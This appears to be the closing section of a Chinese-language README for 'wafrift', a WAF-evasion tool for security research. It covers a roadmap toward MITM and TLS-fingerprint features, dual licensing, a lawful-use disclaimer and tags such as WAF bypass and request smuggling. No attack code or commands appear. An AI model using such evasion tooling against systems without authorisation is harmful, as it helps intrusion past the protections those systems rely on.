## 路径对齐路线图(proxy, TLS, origin, egress)
请参阅 [docs/GAP_CLOSURE_ROADMAP.md](docs/GAP_CLOSURE_ROADMAP.md) 以了解分阶段实现 EvilWAF 级别工作流(HTTPS MITM,JA3 对齐,侦察)的工作。支持文档:[docs/PROXY_TOOLING.md](docs/PROXY_TOOLING.md),[docs/TLS_PARITY.md](docs/TLS_PARITY.md)。
## 许可证
根据以下任一许可证授权
- Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) 或 )
- MIT license ([LICENSE-MIT](LICENSE-MIT) 或 )
由您选择。
### 贡献
除非您明确声明,否则您有意提交以包含在作品中的任何贡献,均应按上述方式双重许可,无任何额外条款或条件,如 Apache-2.0 许可证中所定义。
## 合法使用与仓库责任
wafrift 是一种双用途的安全研究软件。它实现的 WAF
规避技术,如果您在未拥有或未获得书面授权进行测试的系统上执行,可能会违反计算机滥用法(美国的 CFAA,英国的 Computer Misuse Act,德国的 StGB §202c,以及其他地区的同等法规)。下载、构建或运行 wafrift 即表示您同意:
1. **授权完全由您自己承担。** 您只会在您拥有、运营或获得明确书面授权进行测试的系统上运行 wafrift:漏洞赏金范围、签署的渗透测试协议、CTF 规则或受您控制的实验室基础设施。在每次测试任务之前验证范围。
2. **法律责任转移给操作员。** Santh Security 的维护者、贡献者和项目本身对由您使用该工具产生的流量、造成的损害或引发的法律风险不承担任何责任。
3. **未经授权的使用不在任何支持范围内。** 我们不会帮助用户绕过保护他们无权交互系统的 WAF。滥用行为的报告可能会被转发给受影响组织的 `abuse@` 或法律渠道。
完整条款和报告工作流程请参见 [`SECURITY.md`](./SECURITY.md#lawful-use--repository-responsibility) 和 [`CODE_OF_CONDUCT.md`](./CODE_OF_CONDUCT.md#lawful-use--repository-responsibility)。
标签:AppImage, Burp Suite, CISA项目, HTTP指纹伪装, HTTP请求走私, Python安全, Rust, SEO检索词, TLS指纹伪造, WAF绕过, WAF逃避, Web应用防火墙, 中间人攻击, 变异引擎, 可视化界面, 安全测试, 密码管理, 攻击性安全, 编码绕过, 网络安全, 网络流量审计, 自动化绕过, 语法感知变异, 通知系统, 隐私保护